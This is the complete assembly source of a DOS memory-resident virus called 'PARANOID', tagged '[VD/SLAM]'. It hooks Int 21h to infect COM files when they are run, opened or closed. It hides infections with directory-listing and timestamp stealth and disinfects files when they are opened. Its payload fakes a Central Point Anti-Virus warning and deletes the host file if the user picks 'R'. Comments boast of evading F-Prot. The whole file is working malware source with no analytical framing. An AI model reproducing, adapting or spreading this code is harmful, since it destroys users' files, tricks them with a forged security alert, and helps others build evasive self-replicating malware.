.model tiny
.code
org 0
begin:
call start
start:
pop bp
sub bp,offset start ;get delta offset
push ds
push es
mov ax,'VD' ;check if already installed
int 21h
cmp bx,':)'
je complete ;don't install if already installed
mov ah,4ah
mov bx,0ffffh
int 21h
sub bx,(endheap-begin+15)/16+1
mov ah,4ah
int 21h
jc complete
sub word ptr ds:[2],(endheap-begin+15)/16+1
mov ah,48h
mov bx,(endheap-begin+15)/16
int 21h
jc complete
push ax
pop es
dec ax
push ax
pop ds
xor di,di ;F-Prot won't detect anything in memory! ;)
mov al,'Z'
mov byte ptr ds:[di],al
mov ax,8
mov word ptr ds:[di+1],ax
push cs ;DS=CS
pop ds
xor di,di
mov cx,(heap-begin)/2+1
mov si,bp
rep movsw ;load the virus in memory
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[21h*4] ;save Int 21h vector
mov word ptr es:oldint21,ax
mov word ptr es:oldint21+2,ds
pop ds
mov word ptr ds:[21h*4],offset new21 ;put our Int 21h handler
mov ds:[21h*4+2],es
complete:
pop es
pop ds
lea si,[bp+offset jumpbuf] ;restore saved bytes
mov di,100h
push di
movsw ;move a word
movsb ; and a byte => 3 bytes (size of JMP)
retn ;return to host
new24:
mov al,3
iret
new21:
cmp ax,'VD' ;install?
jne continue
mov bx,':)'
iret
virus_name db 'úPARANOIDú' ;Yeah! This is the best part! ;)
signature db '[VD/SLAM]'
continue:
cmp ah,4bh ;load or execute?
jne fuck
jmp infect
fuck:
cmp ax,4301h ;set new attributes?
jne megafuck
jmp infect
megafuck:
cmp ah,3eh ;close file?
jne gigafuck
jmp close_infect
gigafuck:
cmp ah,3dh ;open file?
jne terrafuck
jmp desinfect
terrafuck:
cmp ax,6c00h ;extended open?
jne mgtfuck
jmp extended
mgtfuck:
cmp ah,11h ;find 1st FCB?
je FCB_stealth
cmp ah,12h ;find next FCB?
je FCB_stealth
cmp ah,4eh ;find 1st DTA?
je DTA_stealth
cmp ah,4fh ;find next DTA?
je DTA_stealth
cmp ax,5700h ;get file time/date?
jne exithandler
jmp time_stealth
exithandler:
db 0eah ;return to original Int21h
oldint21 dd ?
FCB_stealth:
pushf
push cs
call exithandler ;get the FCB dude! ;-)
or al,0 ;hmmm... errors? DID anyone SAID errors? ;)
jnz skip_dir ;wow! megashit! :( We must return...
push ax bx es
mov ah,51h ;get the PSP
int 21h
mov es,bx
cmp bx,es:[16h] ;check if it's a DIR call
jnz error
mov bx,dx ;get FCB offset
mov al,[bx] ;al=drive
push ax
mov ah,2fh ;get DTA
int 21h
pop ax
inc al
jnz no_ext
add bx,7 ;Extended FCB? Okie, dokie... bx=bx+7
no_ext:
cmp word ptr es:[bx+1fh],0 ;check if bigger
jnz error
mov ax,es:[bx+19h]
cmp ah,100 ;infected?
jb error ;nope! :(
ror ah,1 ;substract 100 years
sub ah,100
rol ah,1
mov es:[bx+19h],ax ;put back the new value
sub word ptr es:[bx+1dh],(heap-begin) ;do some stealth around here! :)
error:
pop es bx ax
skip_dir:
retf 2
DTA_stealth:
pushf
push cs
call exithandler
jc no_files ;errors? I HATE errors... :(
pushf
push ax di es bx
mov ah,2fh ;get DTA
int 21h
mov ax,es:[bx+18h]
cmp ah,100 ;infected?
jb not_inf ;nope... :(
cmp word ptr es:[bx+1ah],(heap-begin)
ja hide
cmp word ptr es:[bx+1Ch],0
je not_inf
hide:
ror ah,1 ;"adjust" the years...
sub ah,100
rol ah,1
mov es:[bx+18h],ax
sub word ptr es:[bx+1ah],(heap-begin) ;cut size
not_inf:
pop bx es di ax
popf
no_files:
retf 2
time_stealth:
pushf
call dword ptr cs:[oldint21]
jc shit
cmp dh,100 ;check if infected
jb no_way
ror dh,1 ;make it look "younger" with a century
sub dh,100
rol dh,1
no_way:
iret
shit:
retf 2
extended:
cmp dx,1
je yeah
jmp exithandler
yeah:
mov ah,3dh
mov al,bl
mov dx,si ;get the file's name in ds:dx
mov byte ptr ashit,1 ;mark as an extended call
desinfect:
push ax bx cx dx di si ds es
push ds
pop es ;ES=DS
mov cx,64 ;PATH+file name=65 (max)
mov di,dx
mov al,'.' ;search till '.' found
repne scasb ;repeat till cx=0
cmp word ptr ds:[di],'oc' ;check if extension is com or COM
je stepcomplete
cmp word ptr ds:[di],'OC'
jne other_shit ;not a COM/com file
stepcomplete:
cmp byte ptr ds:[di+2],'m'
je openfile
cmp byte ptr ds:[di+2],'M'
je openfile
other_shit:
jmp goaway
openfile:
mov ax,4300h ;get old attributes
int 21h
push cx
push dx
push ds
mov ax,4301h ;set new ones
xor cx,cx
pushf ;use a fake int 21h call, bcoz else we will
call dword ptr cs:[oldint21] ;enter in an infinite loop
mov ax,3d02h ;open file RW
pushf
call dword ptr cs:[oldint21]
xchg bx,ax
push cs cs
pop ds es ;CS=DS=ES
mov ax,5700h ;get time
pushf
call dword ptr cs:[oldint21]
mov ax,dx
cmp ah,100 ;check if infected
jnb us
jmp close_dis ;if not equal then don't stealth
us:
mov word ptr cs:[file_time],cx
mov word ptr cs:[file_date],dx
read_f4:
mov ah,3fh ;read the 1st 3 bytes
mov cx,3
lea dx,buffer
pushf
call dword ptr cs:[oldint21]
chk_markers:
cmp byte ptr buffer,0e9h ;check if it is a jmp.
jne close_dis ;not equal? then it's not infected!?!
mov ax,4202h ;go to EOF
xor cx,cx
cwd
int 21h
mov dx,ax ;save file size
push dx
mov cx,word ptr buffer+1 ;check if infected
add cx,(heap-begin)+3
cmp ax,cx
jne close_dis
sub dx,(heap-jumpbuf) ;go to where the JMP bytes are stored
xor cx,cx
mov ax,4200h
int 21h
mov ah,3fh ;read the original bytes in memory
mov cx,3
lea dx,buffer
pushf
call dword ptr cs:[oldint21]
mov ax,4200h ;go to BOF
xor cx,cx
cwd
int 21h
mov ah,40h ;write the original code
lea dx,buffer
mov cx,3
pushf
call dword ptr cs:[oldint21]
pop dx ;restore file size
sub dx,(heap-begin) ;substract the length of our virus
mov ax,4200h
xor cx,cx
int 21h
mov ah,40h ;truncate the file
xor cx,cx
pushf
call dword ptr cs:[oldint21]
close_dis:
mov ax,5701h
mov cx,word ptr cs:[file_time]
mov dx,word ptr cs:[file_date]
ror ah,1 ;restore original year
sub ah,100
rol ah,1
pushf
call dword ptr cs:[oldint21]
mov ah,3eh ;close the phile
pushf
call dword ptr cs:[oldint21]
mov ax,4301h ;restore attributes
pop ds
pop dx
pop cx
pushf
call dword ptr cs:[oldint21]
goaway:
pop es ds si di dx cx bx ax
cmp byte ptr ashit,1 ;check if was an extended open
jne notex ;nope
mov ax,6c00h ;set ax to 6c00h
mov dx,1 ;set dx to 1
mov byte ptr ashit,0 ;set the check variable to 0
notex:
jmp exithandler
jumpbuf db 0cdh,20h,0
infect:
push ax bx cx dx si di ds es
push ds
push dx
mov byte ptr cs:[sclose],0 ;set the infect checking variable to 0
yoyo_check: ;it's payload time! hehehe... ;)
mov ah,2ah
int 21h
cmp dl,4
je yep
jmp nope
yep:
push cs
pop ds
mov ah,9h
lea dx,yooo
int 21h
ag:
mov ah,0eh ;this make that funny noise
mov al,07h
xor bh,bh
int 10h
mov ah,1
int 21h
or al,32 ;check for both upper and lower cases
cmp al,'e' ;do some checking
je okie
cmp al,'c'
je nope
cmp al,'r'
je np
mov ah,2
mov dl,8
int 21h
jmp ag
np:
mov ah,41h ;wrong answer? delete the phile... heheh. :)
pop dx
pop ds
int 21h
jc okie
push cs
pop ds
mov ah,9h
lea dx,U_out
int 21h
okie:
push cs
pop ds
mov ah,9h
lea dx,crlf
int 21h
mov ah,4ch ;forced exit to DOS
int 21h
nope:
mov ax,3524h ;save Int 24h vector
int 21h
mov word ptr cs:[old_int24],bx
mov word ptr cs:[old_int24+2],es
push cs
pop ds
lea dx,new24 ;set a new Int 24h handler
mov ax,2524h
int 21h
pop dx
pop ds
mov ax,4300h ;get file attributes
int 21h
push ds
push dx
push cx
mov ax,4301h ;set new attributes (archive only)
xor cx,cx
pushf
call dword ptr cs:[oldint21]
mov ax,3d02h ;open the file RW
pushf
call dword ptr cs:[oldint21]
xchg ax,bx
infect_close:
mov ax,5700h ;get file's date/time
pushf
call dword ptr cs:[oldint21]
mov ax,dx
cmp ah,100 ;check if infected
jb shita
jmp close_file ;infected? close the file
shita:
mov word ptr cs:[file_time],cx
mov word ptr cs:[file_date],dx
push cs cs ;CS=DS=ES
pop ds es
mov ah,3fh ;read from file the first 3 bytes
lea dx,buffer ;save them into our buffer
mov cx,3
pushf
call dword ptr cs:[oldint21]
mov ax,4202h ;go to EOF
xor cx,cx
cwd
pushf
call dword ptr cs:[oldint21]
mov word ptr file_size,ax
mov word ptr file_size+2,dx
cmp word ptr buffer,'MZ' ;check if EXE
je close_file
cmp word ptr buffer,'ZM'
je close_file
mov ax,word ptr file_size ;check if too big
cmp ax,65535-(endheap-begin)
ja close_file
cmp ax,(endheap-begin) ;check if too small
jbe close_file
mov cx,word ptr buffer+1 ;check if already infected
add cx,heap-begin+3
cmp ax,cx
je close_file
mov di,offset jumpbuf ;prepare new JMP
mov si,offset buffer
movsb
movsw
mov byte ptr [offset buffer],0e9h
sub ax,3
mov word ptr [offset buffer+1],ax
mov ah,40h ;write the virus to host
lea dx,begin
mov cx,heap-begin
int 21h
mov ax,4200h ;go to BOF
xor cx,cx
cwd
pushf
call dword ptr cs:[oldint21]
mov ah,40h ;write the new JMP
lea dx,buffer
mov cx,3
pushf
call dword ptr cs:[oldint21]
mov ax,5701h ;set old file's time/date
mov cx,word ptr cs:[file_time]
mov dx,word ptr cs:[file_date]
ror dh,1 ;mark the file for stealth
add dh,100
rol dh,1
pushf
call dword ptr cs:[oldint21]
close_file:
cmp byte ptr cs:[sclose],1 ;check if it's a close request or a infect
je out_of_here ;close? hmmm... ok!
mov ah,3eh ;close the file
pushf
call dword ptr cs:[oldint21]
mov ax,4301h ;set old attributes
pop cx
pop dx
pop ds
pushf
call dword ptr cs:[oldint21]
mov ds,word ptr cs:[old_int24+2]
mov dx,word ptr cs:[old_int24]
mov ax,2524h ;restore the Int 24h handler
int 21h
out_of_here:
mov byte ptr cs:[sclose],0 ;reset variable to 0
exit:
pop es ds si di dx cx bx ax
goback:
jmp exithandler
close_infect:
cmp bx,4 ;check if AUX/NULL/CON
jbe goback
push ax bx cx dx di si ds es
push bx
mov ax,1220h
int 2fh
mov ax,1216h ;use SFT to get the extension
mov bl,byte ptr es:[di]
int 2fh
pop bx
add di,40 ;di points to extension
cmp word ptr es:[di],'OC' ;check if it's a COM file
jne close_it
cmp word ptr es:[di+2],'M'
jne close_it
mov byte ptr es:[di-26h],2 ;mark file as open in RW mode
mov ax,4200h
xor cx,cx
cwd
int 21h
mov byte ptr cs:[sclose],1 ;mark it as a close request
jmp infect_close
close_it:
jmp short exit
U_out db 0dh,0ah,'Wrong choice sucker! hehehe... ;-)','$'
crlf db 0dh,0ah,'$'
yooo db 'Central Point Anti-Virus (c) 1993 CPS',0dh,0ah
db 'Self Integrity Check warning - File was changed !',0dh,0ah
db 'Choose an option:',0dh,0ah
db '[R] Self Reconstruction.',0dh,0ah
db '[C] Continue execution.',0dh,0ah
db '[E] Exit to DOS.',0dh,0ah
db 'Press R,C or E:$'
old_int24 dd ?
heap:
file_size dd ?
file_time dw ?
file_date dw ?
sclose db 0
ashit db ?
buffer db 3 dup (?)
endheap:
end begin